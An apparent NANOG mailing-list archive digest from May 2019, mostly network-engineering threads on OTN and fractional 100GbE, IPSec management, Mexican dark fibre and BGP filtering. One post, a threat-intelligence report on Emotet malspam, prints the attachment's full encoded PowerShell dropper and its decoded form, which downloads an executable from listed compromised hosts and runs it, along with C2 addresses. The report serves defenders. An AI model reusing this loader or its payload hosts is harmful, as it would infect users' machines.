regards, -- Jérôme Nicolle +33 6 19 31 27 14 From tom at ninjabadger.net Wed May 29 14:20:14 2019 From: tom at ninjabadger.net (Tom Hill) Date: Wed, 29 May 2019 15:20:14 +0100 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <4bff5eab-5b84-8c2a-187f-c5dd5b0d95eb@ceriz.fr> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <67db48a5-6372-6093-a4ab-8fd7f66a1cd3@ninjabadger.net> <4bff5eab-5b84-8c2a-187f-c5dd5b0d95eb@ceriz.fr> Message-ID: <6d1ecd10-f5e3-2b03-b0fb-b437bd6fa1a3@ninjabadger.net> On 29/05/2019 15:09, Jérôme Nicolle wrote: > I don't find what I need there. I just want to plug an OTU4 uplink in a > standard QSFP28 port, no fancy photonics are required, and benefit from > inband monitoring and management, FEC and trafic isolation. > > It would idealy be represented in ONL or Cumulus as a new type of > interfaces, with OSC and every muxponded ODU as sub-interfaces, and a > new type of bridge to patch them to other ODUs or map them to ethernet > service ports… Every sub-if having SNMP OIDs for load, FEC reporting and > latency measurement. > > I hope it's a bit more clear now ? Very clear. If you do find this veritable moon-on-a-stick device, please do let me know. Asking PacketLight to fix their software might not be a bad start, or perhaps asking their competition if they can do better (see Infinera, Coriant, Adva, Ciena, etc.) Regards, -- Tom From jerome at ceriz.fr Wed May 29 14:39:41 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Wed, 29 May 2019 16:39:41 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <6d1ecd10-f5e3-2b03-b0fb-b437bd6fa1a3@ninjabadger.net> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <67db48a5-6372-6093-a4ab-8fd7f66a1cd3@ninjabadger.net> <4bff5eab-5b84-8c2a-187f-c5dd5b0d95eb@ceriz.fr> <6d1ecd10-f5e3-2b03-b0fb-b437bd6fa1a3@ninjabadger.net> Message-ID: <83e68129-f33b-247a-2a3a-11da414828cb@ceriz.fr> Tom, Le 29/05/2019 à 16:20, Tom Hill a écrit : > Very clear. If you do find this veritable moon-on-a-stick device, > please do let me know. I will. But I don't think it's for the lack of devices : every OCP switch based on Broadcom's StrataDNX ASICs seems technicaly capable of handling OTN, they even allow for a 250ns port-to-port fastpath for OTN bridges if I got the datasheets right. It's the software that's missing. > Asking PacketLight to fix their software might not be a bad start, Well, I learned today that these boxes may be manufactured by Nokia, who also sell them under their brand as "WaveLite Metro 200", packed with another software. I'm waiting for the manuals to assess their feature-set. > or perhaps asking their competition if they can do better (see > Infinera, Coriant, Adva, Ciena, etc.) I'm already running Coriants and… well… $8k per 100G port is simply unacceptable. That's the price for a 6*100G+48*10G OCP switch with the right ASIC. Also their software is a mess. I mean, it's 2019, we can't build networks like 20 years ago. Automation is mandatory. And we lack so many network engineers on the market, running a linux-based network would let us recruit and train sysadmins instead. Running their windows-only TNMS really hurts my teams' morale. ECI seems to have a nice lineup with Apollo (9904x) and Neptune ranges, I'm waiting for pricing. But if I had to choose, running Cumulus Linux (or equivalent) with OTN+MEF extensions (also SRv6 to build a terastream-like network) on broadcom-based OCP switches would be far more efficient and versatile. Best regards, -- Jérôme Nicolle +33 6 19 31 27 14 From fergdawgster at mykolab.com Wed May 29 16:03:49 2019 From: fergdawgster at mykolab.com (Paul Ferguson) Date: Wed, 29 May 2019 09:03:49 -0700 Subject: 29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members] Message-ID: <6A75AD75-1AE5-4CBB-B965-752328C649DB@mykolab.com> *Just an FYI, the obfuscated URLs and IPs below are malicious.* This is apparently (?) part of a wave of spoofed malspams impersonating messages with ‘weaponized' attachments sent to the NANOG (North American Network Operators Group) mailing list. Background: https://mailman.nanog.org/pipermail/nanog/2019-May/101140.html Details: Date: Wed, 29 May 2019 10:03:04 -0500 From: "NANOG" To: "Paul Ferguson" Subject: Mykolab Ref Id: I32560 X-Authenticated-Sender: s214.panelboxmanager.com Return-Path: Attachment: "ATTACHMENT 654860 I32560.doc" MD5: 49fbc31d5e46d83c4741d64a1c268e8d SHA-1: 62b00133e2a78063b76a473a9c0b42a00b3042b8 SHA256: 8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5 File Type: MS Word Document Magic CDF V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Title: North Dakota, Subject: Maine, Author: Darrell Hammes, Comments: Tunisia policy, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue May 28 12:55:00 2019, Last Saved Time/Date: Tue May 28 12:55:00 2019, Number of Pages: 1, Number of Words: 15, Number of Characters: 90, Security: 0 SSDeep: 3072:t1b77HUUUUUUUUUUUUUUUUUUUTkOQePu5U8qSp8ALPmiuVvbIF/j9G5:Pb77HUUUUUUUUUUUUUUUUUUUT52VP61Z TRiD: Microsoft Word document (54.2%) Microsoft Word document (old ver.) (32.2%) Generic OLE2 / Multistream Compound File (13.5%) File Size: 136.38 KB Analysis: VT: https://www.virustotal.com/#/file/8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5/detection HA: https://www.hybrid-analysis.com/sample/8c401ced381ce742105acae9b3d39d2f01681d4e3c77be9c899f5fa332aab5f5/5ceea3ee02883814847b23d1 Joe Sandbox: https://www.joesandbox.com/analysis/136644/0/executive app.anny.run: https://app.any.run/tasks/18d747ef-42d6-40e8-b496-6eb54c5f5dac Embedded Powershell script does: WINWORD.EXE /n "C:\ATTACHMENT654860I32560.doc" (PID: 3256) powershell.exe powershell -nop -e JABDAGwASQBFAFkAawAyAD0AJwBhAEoATgBNAEsARgAzAGwAJwA7ACQAUgB3AFkASwBDAHYATwAgAD0AIAAnADkAMwA2ACcAOwAkAFEAQgBWAGEAZAA5AD0AJwBMADgASABEAHoATgAnADsAJAB3AFgAcABiAFYAcAA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAnAFwAJwArACQAUgB3AFkASwBDAHYATwArACcALgBlAHgAZQAnADsAJABHAEEAaQB6AHoANwA9ACcARABPAEkAbwBTAFQAJwA7ACQAVABiADkARQB1ADIASQByAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdABgAC4AVwBlAEIAQwBgAEwAYABJAEUATgB0ADsAJABrAHUAVwBfAG8ANwBTADUAPQAnAGgAdAB0AHAAOgAvAC8AYwBlAG8ALgBjAGEAbABjAHUAcwAuAGMAbwBtAC8AcABvAHMAdABuAGUAdwBvAC8AUgB3AGgAdgBPAGwAWgBJAHMALwBAAGgAdAB0AHAAOgAvAC8AbABhAHMAdABtAGkAbgB1AHQAZQBsAG8AbABsAGkAcABvAHAALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAGEARQBRAGwAcABwAGQAbABmAG8ALwBAAGgAdAB0AHAAOgAvAC8AawBhAHMAaABtAGkAcgBoAGEAYwBrAGUAcgBzAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwB3AFEAWABoAG8AcgB0AFMAZgBKAC8AQABoAHQAdABwADoALwAvAG8AbQBlAGcAYQBjAG8AbgBzAHUAbAB0AG8AcgBpAGEAYwBvAG4AdABhAGIAaQBsAC4AYwBvAG0ALgBiAHIALwBzAGkAdABlAC8AdwBBAEsAawBiAE8ARQB3AHkALwBAAGgAdAB0AHAAOgAvAC8AbgBvAHQAdABzAHAAYwByAGUAcABhAGkAcgAuAGMAbwAuAHUAawAvAG4AeQBlAC8AaABLAFoAbABEAHYAUABmAHkALwAnAC4AUwBQAEwAaQBUACgAJwBAACcAKQA7ACQAbwA3AFYAQgBRAHQAbABiAD0AJwBPADEAWQBHAGIAMABwACcAOwBmAG8AcgBlAGEAYwBoACgAJAB6ADMAUgB2ADMAagB2ACAAaQBuACAAJABrAHUAVwBfAG8ANwBTADUAKQB7AHQAcgB5AHsAJABUAGIAOQBFAHUAMgBJAHIALgBEAG8AdwBOAEwATwBhAGQARgBJAEwARQAoACQAegAzAFIAdgAzAGoAdgAsACAAJAB3AFgAcABiAFYAcAApADsAJABpAFkAcABPAFkAYwBMAFYAPQAnAFgAMAA2AGoAUwBSADIANAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAHcAWABwAGIAVgBwACkALgBsAEUAbgBnAFQASAAgAC0AZwBlACAAMgA5ADcAOAAwACkAIAB7AFsARABpAGEAZwBuAG8AcwB0AGkAYwBzAC4AUAByAG8AYwBlAHMAcwBdADoAOgBTAFQAQQBSAFQAKAAkAHcAWABwAGIAVgBwACkAOwAkAFYASABUAE8AbwB1AHcAPQAnAEkAXwBXAGsAMgBiAEgAcgAnADsAYgByAGUAYQBrADsAJABFAFgAWABtAEIAbQBYAD0AJwByAGsARgBLAEMAVAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABTAEEAdQB0AGEAWQA9ACcAWQBuAFYAcQAzAEoASgAnAA== (PID: 2624,Additional Context: $ClIEYk2='aJNMKF3l';$RwYKCvO = '936';$QBVad9='L8HDzN';$wXpbVp=$env:userprofile+'\'+$RwYKCvO+'.exe';$GAizz7='DOIoST';$Tb9Eu2Ir=.('new-'+'obj'+'ect') Net`.WeBC`L`IENt;$kuW_o7S5='http://ceo.calcus[.]com/postnewo/RwhvOlZIs/@http://lastminutelollipop[.]com/wp-admin/aEQlppdlfo/@http://kashmirhackers[.]com/wp-admin/wQXhortSfJ/@http://omegaconsultoriacontabil[.]com.br/site/wAKkbOEwy/@http://nottspcrepair[.]co.uk/nye/hKZlDvPfy/'.SPLiT('@');$o7VBQtlb='O1YGb0p';foreach($z3Rv3jv in $kuW_o7S5){try{$Tb9Eu2Ir.DowNLOadFILE($z3Rv3jv, $wXpbVp);$iYpOYcLV='X06jSR24';If ((&('Get-'+'Ite'+'m') $wXpbVp).lEngTH -ge 29780) {[Diagnostics.Process]::START($wXpbVp);$VHTOouw='I_Wk2bHr';break;$EXXmBmX='rkFKCT'}}catch{}}$SAutaY='YnVq3JJ') 936.exe (PID: 2888) 24/72 936.exe --26d066e0 (PID: 2932) 24/72 enablerouting.exe (PID: 272) 'Payload quintet' from script above (compromised pages): http://ceo.calcus[.]com/postnewo/RwhvOlZIs/ http://lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ http://kashmirhackers[.]com/wp-admin/wQXhortSfJ/ http://omegaconsultoriacontabil[.]com.br/site/wAKkbOEwy/ http://nottspcrepair[.]co.uk/nye/hKZlDvPfy/' Observed network activity: GET ceo.calcus[.]com/postnewo/RwhvOlZIs/ GET lastminutelollipop[.]com/wp-admin/aEQlppdlfo/ POST 31.12.67[.]62:7080/acquire/tlb/ringin/ Non-authoritative answer: Name: ceo.calcus[.]com Address: 68.183.65[.]234 Non-authoritative answer: Name: lastminutelollipop[.]com Address: 158.69.127[.]22 Non-authoritative answer: Name: kashmirhackers[.]com Address: 173.249.2[.]31 Non-authoritative answer: Name: omegaconsultoriacontabil[.]com.br Address: 74.63.242[.]18 Non-authoritative answer: Name: nottspcrepair[.]co.uk Address: 185.38.44[.]163 AS | IP | AS Name 14061 | 68.183.65[.]234 | DIGITALOCEAN-ASN - DigitalOcean, LLC, US (shared hosting) 16276 | 158.69.127[.]22 | OVH, FR (shared hosting) 51167 | 173.249.2[.]31 | CONTABO, DE (shared hosting) 46475 | 74.63.242[.]18 | LIMESTONENETWORKS - Limestone Networks, Inc., US (shared hosting) 33182 | 185.38.44[.]163 | DIMENOC - HostDime.com, Inc., US (shared hosting) 44099 | 31.12.67[.]62 | RUNISO-AS RUNISO Autonomous System, FR (appears to be stand-alone IP, no PTR record) FYI, - ferg — Paul Ferguson Principal, Threat Intelligence Gigamon Seattle, Washington, USA -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 228 bytes Desc: Message signed with OpenPGP URL: From niels=nanog at bakker.net Wed May 29 16:14:13 2019 From: niels=nanog at bakker.net (Niels Bakker) Date: Wed, 29 May 2019 18:14:13 +0200 Subject: 29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members] In-Reply-To: <6A75AD75-1AE5-4CBB-B965-752328C649DB@mykolab.com> References: <6A75AD75-1AE5-4CBB-B965-752328C649DB@mykolab.com> Message-ID: <20190529161413.GH88473@jima.tpb.net> * fergdawgster at mykolab.com (Paul Ferguson) [Wed 29 May 2019, 18:04 CEST]: >This is apparently (?) part of a wave of spoofed malspams >impersonating messages with ‘weaponized' attachments sent to the >NANOG (North American Network Operators Group) mailing list. They're not sent to the list, they're sent directly to posted who have previously posted to the list. NANOG have no way to stop these. -- Niels. From fergdawgster at mykolab.com Wed May 29 16:16:59 2019 From: fergdawgster at mykolab.com (Paul Ferguson) Date: Wed, 29 May 2019 09:16:59 -0700 Subject: 29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members] In-Reply-To: <20190529161413.GH88473@jima.tpb.net> References: <6A75AD75-1AE5-4CBB-B965-752328C649DB@mykolab.com> <20190529161413.GH88473@jima.tpb.net> Message-ID: <4B00EAE6-EE65-4294-964A-436D376D249E@mykolab.com> > On May 29, 2019, at 9:14 AM, Niels Bakker wrote: > > * fergdawgster at mykolab.com (Paul Ferguson) [Wed 29 May 2019, 18:04 CEST]: >> This is apparently (?) part of a wave of spoofed malspams impersonating messages with ‘weaponized' attachments sent to the NANOG (North American Network Operators Group) mailing list. > > They're not sent to the list, they're sent directly to posted who have previously posted to the list. NANOG have no way to stop these. > > > -- Niels. Understood, but I figured folks might like to know what they might be dealing with. Cheers, - ferg — Paul Ferguson Principal, Threat Intelligence Gigamon Seattle, Washington, USA -------------- next part -------------- A non-text attachment was scrubbed... Name: signature.asc Type: application/pgp-signature Size: 228 bytes Desc: Message signed with OpenPGP URL: From sean at donelan.com Wed May 29 17:19:49 2019 From: sean at donelan.com (Sean Donelan) Date: Wed, 29 May 2019 13:19:49 -0400 (EDT) Subject: Internet emergency alerts: Alexa now supports "Announcements" Message-ID: Amazon has announced a new API for its voice services, i.e. Alexa. This enables one-way Alexa announcements within a household and from Apps without prompting by the user. Although the Amazon blog did not comment about the use of Amazon Announcements concerning Emergency Alert System broadcasts (e.g. tornado warnings, evacuation alerts, wildfires, etc), this newe API may solve the previous constrain that Alexa devices only responded to user interaction. Previously, Alexa speakers could tell you there was a tornado warning when you asked for the current weather or passively show weather warnings on Amazon Echo Show screens. Alexa would not proactively announce warnings until you prompted it. I don't know if Amazon will leave it up to 3rd parties to create Apps with emergency alert announcements. https://developer.amazon.com/blogs/alexa/post/c291e779-366b-4e7f-93e2-782b220d4142/introducing-announcements-on-alexa-built-in-devices Google Search passively shows some emergency alerts at the top of its search pages based on your location. Google Assistant devices do not appear to react to emergency alerts. Netflix, Hulu and other streaming apps are likely the wrong layer for emergency alerts. Alerts should likely be part of the device management layer, to provide consistent behavior across apps instead of app by app. From lists.nanog at monmotha.net Wed May 29 18:24:05 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Wed, 29 May 2019 14:24:05 -0400 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> Message-ID: On 5/28/19 11:12 AM, Jérôme Nicolle wrote: > OTN is important for this project because we'd need many of its features > in terms of FEC, monitoring and low jitter. Correct me if I'm wrong, but wouldn't "fractional" Ethernet services require packet switching with corresponding jitter anyway? It would be 1:1 switching which would keep the latency low, but you can't e.g. offer a 60Gbps bandwidth on 100GbE handoff and just put that straight on OTN. You'd have to either packet switch (and queue due to the incoming line rate being slower than the outgoing) it onto a FlexODU using GFP-F at 60Gbps (I'm not sure if anything even supports this) or just take the 100GbE staight onto OTN at 100Gbps. Now, you could obviously put two native 40GbE services onto a single OTU-4 (along with a couple 10Gbps or single 20Gbps packet service) without packet switching by just framing up both Ethernet services using your choice of GFP-F or GFP-T, and it could be done without queuing since the incoming and outgoing line rates are the same. The former would probably still end up being better than straight switched Ethernet, but it won't be the same as a straight re-framed Ethernet signal on OTN. FEC and enhanced monitoring are always nice, though. -- Brandon Martin From pete at ots.utsystem.edu Wed May 29 19:53:44 2019 From: pete at ots.utsystem.edu (Mitcheltree, Harold B) Date: Wed, 29 May 2019 19:53:44 +0000 Subject: Flexible OTN / fractional 100GbE In-Reply-To: References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr>, Message-ID: https://www.ekinops.com/products/flexrate-modules/aggregation-and-encryption-modules/pm-100g-agg --Pete PM 100G-AGG | Ekinops www.ekinops.com 100G aggregation module The EKINOPS PM 100G-AGG is a multiprotocol aggregation module that allows network operators to deliver a wide range of connectivity and managed services. Designed as a companio... ________________________________ From: NANOG on behalf of Brandon Martin Sent: Wednesday, May 29, 2019 1:24:05 PM To: nanog at nanog.org Subject: Re: Flexible OTN / fractional 100GbE On 5/28/19 11:12 AM, Jérôme Nicolle wrote: > OTN is important for this project because we'd need many of its features > in terms of FEC, monitoring and low jitter. Correct me if I'm wrong, but wouldn't "fractional" Ethernet services require packet switching with corresponding jitter anyway? It would be 1:1 switching which would keep the latency low, but you can't e.g. offer a 60Gbps bandwidth on 100GbE handoff and just put that straight on OTN. You'd have to either packet switch (and queue due to the incoming line rate being slower than the outgoing) it onto a FlexODU using GFP-F at 60Gbps (I'm not sure if anything even supports this) or just take the 100GbE staight onto OTN at 100Gbps. Now, you could obviously put two native 40GbE services onto a single OTU-4 (along with a couple 10Gbps or single 20Gbps packet service) without packet switching by just framing up both Ethernet services using your choice of GFP-F or GFP-T, and it could be done without queuing since the incoming and outgoing line rates are the same. The former would probably still end up being better than straight switched Ethernet, but it won't be the same as a straight re-framed Ethernet signal on OTN. FEC and enhanced monitoring are always nice, though. -- Brandon Martin >> This message is from an external sender. Learn more about why this << >> matters at https://links.utexas.edu/rtyclf. << -------------- next part -------------- An HTML attachment was scrubbed... URL: From goemon at sasami.anime.net Thu May 30 00:25:43 2019 From: goemon at sasami.anime.net (Dan Hollis) Date: Wed, 29 May 2019 17:25:43 -0700 (PDT) Subject: 29 May 2019: Emotet malspam: 'Mykolab Ref Id: I32560' [Was: Re: Spamming of NANOG list members] In-Reply-To: <6A75AD75-1AE5-4CBB-B965-752328C649DB@mykolab.com> References: <6A75AD75-1AE5-4CBB-B965-752328C649DB@mykolab.com> Message-ID: On Wed, 29 May 2019, Paul Ferguson wrote: > AS | IP | AS Name > 14061 | 68.183.65[.]234 | DIGITALOCEAN-ASN - DigitalOcean, LLC, US (shared hosting) > 16276 | 158.69.127[.]22 | OVH, FR (shared hosting) > 51167 | 173.249.2[.]31 | CONTABO, DE (shared hosting) > 46475 | 74.63.242[.]18 | LIMESTONENETWORKS - Limestone Networks, Inc., US (shared hosting) > 33182 | 185.38.44[.]163 | DIMENOC - HostDime.com, Inc., US (shared hosting) > 44099 | 31.12.67[.]62 | RUNISO-AS RUNISO Autonomous System, FR (appears to be stand-alone IP, no PTR record) few suprises here. known complacent/spam-friendly providers. -Dan From lists.nanog at monmotha.net Thu May 30 01:46:28 2019 From: lists.nanog at monmotha.net (Brandon Martin) Date: Wed, 29 May 2019 21:46:28 -0400 Subject: Flexible OTN / fractional 100GbE In-Reply-To: References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> Message-ID: <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> On 5/29/19 3:53 PM, Mitcheltree, Harold B wrote: > https://www.ekinops.com/products/flexrate-modules/aggregation-and-encryption-modules/pm-100g-agg I'm not sure I see how this particular product resolves the concern I expressed. Yes, it will aggregate native subrate services at 10Gbps or 40Gbps native line rate up onto 100G OTN (on OTU4), and it can (presumably) do that without packet switching using either 1:1 frame mapping using GFP-F or straight cut-through stream mapping with GFP-T or similar. What it doesn't appear to do, and where my concern lies with the OP's desires surrounding OTN, is take a "fractional" 100Gb service and aggregate it up with other services onto an OTU4. "Fractional" here means that the committed/available throughput is something less than the native line rate which is what OP appeared to be asking for ("'fractional 100GbE' e.g. starting with 30-60Gbps commit"). The only way I know to do this is to packet switch, as either Ethernet or GFP-F OTN traffic, the subscriber data onto a FlexODU at the desired subscriber rate within the OTU4. Other traffic could then be placed within the same OTU4 using the normal OTN TDM mechanisms including subrate (e.g. 10Gbps) traffic that might NOT require packet switching since it could be re-framed/re-transmitted onto the OTU4 at its native line rate. I don't see any reason you can't do this, though I know of no equipment that will off hand, and it will incur some latency and jitter due to the packet switching which OP seemed to want to avoid. You'd still get the benefits of FEC, enhanced monitoring, etc. from the OTN side of things, and the latency and jitter should be generally better than switching it onto a higher-rate native Ethernet even if the high-rate side is not oversubscribed. It should certainly be no worse. The crux of this is what happens when you have a subscriber service who's native line rate exceeds the provisioned OTN throughput which is a scenario OP alluded exactly to. -- Brandon Martin From savage at savage.za.org Thu May 30 05:16:40 2019 From: savage at savage.za.org (Chris Knipe) Date: Thu, 30 May 2019 07:16:40 +0200 Subject: VPN / IPSEC Management Message-ID: Hi Guys, Quick question... In orgs using frequent and large amounts of IPSec, what are you guys using in terms of configuration management / documentation? Especially in terms of Phase 2 and documenting what the relevant Phase 2s are for? Is it a matter of text files / spreadsheets, or are there something out there to manage this with? -- Regards, Chris Knipe -------------- next part -------------- An HTML attachment was scrubbed... URL: From jerome at ceriz.fr Thu May 30 07:40:05 2019 From: jerome at ceriz.fr (=?UTF-8?Q?J=c3=a9r=c3=b4me_Nicolle?=) Date: Thu, 30 May 2019 09:40:05 +0200 Subject: Flexible OTN / fractional 100GbE In-Reply-To: <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> References: <77d292f4-21a1-e188-790f-c774808940a4@ceriz.fr> <7906FF25-EBF4-4E04-BB6B-88756FE90F1D@lixfeld.ca> <90f197a5-220e-da9c-4ad1-de55f824aa1f@ceriz.fr> <2652260f-62a1-1438-bffd-28e1591710f7@monmotha.net> Message-ID: Brandon, Le 30/05/2019 à 03:46, Brandon Martin a écrit : > The only way I know to do this is to packet switch, as either Ethernet > or GFP-F OTN traffic, the subscriber data onto a FlexODU at the desired > subscriber rate within the OTU4.  Other traffic could then be placed > within the same OTU4 using the normal OTN TDM mechanisms including > subrate (e.g. 10Gbps) traffic that might NOT require packet switching > since it could be re-framed/re-transmitted onto the OTU4 at its native > line rate. You're right on spot ! What I have in mind is actually to combine line-rate ODUs with a static mapping and pipe the uncommitted capacity to a packet-switch. Statically commited services will be muxponded in fastpath, hence no jitter and less latency, while the fractionnal ports use the remaining ports, mostly for low-priority IP traffic. Now I was assuming ODUFlex in CBR mode would allow fractionnal services without packet switching, but mapping an ethernet service to it would require some equivalent glue logic I guess, specifically for this case : > The crux of this is what happens when you have a subscriber service > who's native line rate exceeds the provisioned OTN throughput which is a > scenario OP alluded exactly to. Yup. Should it hard-drop ? Buffer ? Both are unthinkable in OTN terms (is that a cultural thing ?). It's what packet networks are made for. And that's why an alien device, with support for Ethernet, OTN and programmable pipelines, could bridge the gap, allowing for a more efficient use of optical bandwidth. Best regards, -- Jérôme Nicolle +33 6 19 31 27 14 From mehmet at akcin.net Thu May 30 14:19:36 2019 From: mehmet at akcin.net (Mehmet Akcin) Date: Thu, 30 May 2019 07:19:36 -0700 Subject: Mexico Message-ID: Hi there I am looking for dark fibre in several markets in México and waves from mexico city to LA and Dallas. If you know someone in wholesale who can help, please contact me offlist Thank you. Mehmet -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From mrodriguez at fletnet.com Thu May 30 14:23:02 2019 From: mrodriguez at fletnet.com (Mauricio Rodriguez) Date: Thu, 30 May 2019 10:23:02 -0400 Subject: VPN / IPSEC Management In-Reply-To: References: Message-ID: Take a look at Tufin. They’ve been in the firewall configurations management business for a long time and may have something to suit your needs. On Thu, May 30, 2019 at 01:18 Chris Knipe wrote: > Hi Guys, > > Quick question... In orgs using frequent and large amounts of IPSec, what > are you guys using in terms of configuration management / documentation? > > Especially in terms of Phase 2 and documenting what the relevant Phase 2s > are for? > > Is it a matter of text files / spreadsheets, or are there something out > there to manage this with? > > > -- > > Regards, > Chris Knipe > -- Sent from my small screen device. Best, Mauricio -- This message (and any associated files) may contain confidential and/or privileged information. If you are not the intended recipient or authorized to receive this for the intended recipient, you must not use, copy, disclose or take any action based on this message or any information herein. If you have received this message in error, please advise the sender immediately by sending a reply e-mail and delete this message. Thank you for your cooperation. -------------- next part -------------- An HTML attachment was scrubbed... URL: From SNaslund at medline.com Thu May 30 14:37:18 2019 From: SNaslund at medline.com (Naslund, Steve) Date: Thu, 30 May 2019 14:37:18 +0000 Subject: Mexico In-Reply-To: References: Message-ID: <6bbf7ac056314111bb4b6dd43598e7dc@medline.com> You might want to check with a company called Transtelco. They are an alternate fiber provider (outside of Telmex). Steven Naslund Chicago IL From: NANOG On Behalf Of Mehmet Akcin Sent: Thursday, May 30, 2019 9:20 AM To: nanog Subject: Mexico Hi there I am looking for dark fibre in several markets in México and waves from mexico city to LA and Dallas. If you know someone in wholesale who can help, please contact me offlist Thank you. Mehmet -- Mehmet +1-424-298-1903 -------------- next part -------------- An HTML attachment was scrubbed... URL: From rblayzor.bulk at inoc.net Thu May 30 15:14:41 2019 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Thu, 30 May 2019 11:14:41 -0400 Subject: BGP prefix filter list In-Reply-To: <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <20190515133655.GC24647@zeno.bixbytelephone.com> <20190515135247.GD24647@zeno.bixbytelephone.com> <20190515142546.GE24647@zeno.bixbytelephone.com> <1659466603.3480.1557946364720.JavaMail.mhammett@ThunderFuck> Message-ID: On 5/15/19 2:52 PM, Mike Hammett wrote: > You can't do uRPF if you're not taking full routes. > > You also have a more limited set of information for analytics if you > don't have full routes. Or instead of uRPF (loose) on transit links, just take a BOGON feed? -- inoc.net!rblayzor XMPP: rblayzor.AT.inoc.net PGP: https://pgp.inoc.net/rblayzor/ From rblayzor.bulk at inoc.net Thu May 30 15:30:01 2019 From: rblayzor.bulk at inoc.net (Robert Blayzor) Date: Thu, 30 May 2019 11:30:01 -0400 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> Message-ID: <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> On 5/24/19 2:22 PM, William Herrin wrote: > Get it? I announce the /24 via both so that you can reach me when there > is a problem with one or the other. If you drop the /24, you break the > Internet when my connection to CenturyLink is inoperable. Good job! It would be dropped only if the origin-as was the same. Your AS and your carriers aggregate announcement would be from two different origin AS. At least that's the gist of it... -- inoc.net!rblayzor XMPP: rblayzor.AT.inoc.net PGP: https://pgp.inoc.net/rblayzor/ From bill at herrin.us Thu May 30 16:54:14 2019 From: bill at herrin.us (William Herrin) Date: Thu, 30 May 2019 09:54:14 -0700 Subject: BGP prefix filter list In-Reply-To: <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> <31fc300c0ab0443bbf467eee07269089@ex16prd04a.dpu.depaul.edu> <20190520182648.4c09a5eb@p50.localdomain> <145e94f3-c09b-3258-c550-4e06856dc623@gmail.com> <659833449.159585.1558544909780.JavaMail.zimbra@cluecentral.net> <309082944.293160.1558717432418.JavaMail.zimbra@cluecentral.net> <730542563.4590.1558718919496.JavaMail.mhammett@ThunderFuck> <49813d6b-46a6-8258-e009-c8fac0c6a61f@inoc.net> Message-ID: On Thu, May 30, 2019 at 8:30 AM Robert Blayzor wrote: > On 5/24/19 2:22 PM, William Herrin wrote: > > Get it? I announce the /24 via both so that you can reach me when there > > is a problem with one or the other. If you drop the /24, you break the > > Internet when my connection to CenturyLink is inoperable. Good job! > > > It would be dropped only if the origin-as was the same. Your AS and your > carriers aggregate announcement would be from two different origin AS. > At least that's the gist of it... > Hi Robert, Error #1: https://tools.ietf.org/html/rfc6996 section 4. It's permissible to announce to your transits with a private AS which they remove before passing the announcement to the wider Internet. As a result, the announcement from each provider will have that provider's origin AS when you see it even though it's actually from a downstream multihomed customer. Error #2: An AS is an informative handle, not a route. In routing research parlance, an identifier not a locator. Prefixes from the same AS are not required to have direct connectivity to each other and many do not. The origin AS could solve this by disaggregating the announcement and sending no covering route, but that's exactly what you DON'T want them to do. Regards, Bill Herrin -- William Herrin bill at herrin.us https://bill.herrin.us/ -------------- next part -------------- An HTML attachment was scrubbed... URL: From mel at beckman.org Thu May 30 17:10:51 2019 From: mel at beckman.org (Mel Beckman) Date: Thu, 30 May 2019 17:10:51 +0000 Subject: BGP prefix filter list In-Reply-To: References: <11053a83-b78c-6208-6145-98af7a6ecd64@gmail.com> 